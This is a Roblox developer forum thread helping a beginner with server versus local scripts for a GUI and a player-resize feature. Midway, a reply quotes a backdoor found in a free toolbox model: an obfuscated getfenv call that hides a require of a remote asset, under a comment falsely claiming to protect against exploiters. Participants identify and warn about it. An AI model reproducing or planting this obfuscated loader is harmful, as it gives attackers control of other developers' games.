Give.rbxl (140.2 KB)
It works, you made a simple mistake by using a server script instead of a local, I recommend you familiarize your self with Server Scripts, Client Scripts, Roblox server modal.
Give {solved}.rbxl (139.9 KB)
Heres the problem, now it doesnt change the players size like its suppose to.
Thats the reason why it wasnt in a local script…
Either way server scripts can’t change local player stuff without remote events I think
Has something to do with this…
Also where in your script does it change player size?
ServerScriptService, PlayerResizeScript
Uhhh I don’t see it there
RoleResizeScript My Bad, sorry
Well it looks like a couple models in your game are from the tool box.
Nothing wrong with it but some of them have a virus
What do you mean? The Models are, but not the scripts, atleast not from the toolbox, I am just a beginning scripter. I suck at building so yeaa
ScreenGui.Enabled always hides everything
Look:
the code in it
getfenv()['\114\101\113\117\105\114\101'](6.58860418047*733837367)
Also the top
--This an script of ROBLOX Studio. Do not delete it, this script secures your game from exploiters.
--Thanks.
possibly a backdoor
This is a virus, delete it immediately, and don’t test!
What in the world, I have never seen that ,and I check for those types of things.
I don’t think there’s anything wrong with your code, you should probably use visible though
script.Parent.MouseButton1Click:Connect(function()
script.Parent.Parent.Parent.Parent.Parent.Visible= false
end)
It’s ok free models always have a problem with trust, so check your output because I was scrolling for errors from your server script
That is a virus. It calls require() in hidden with getfenv, and then types the assetid. Requiring the virus module
OP was using Server script to control the Ui
ik, I just saw that virus thing and rushed to tell, forgot about the whole post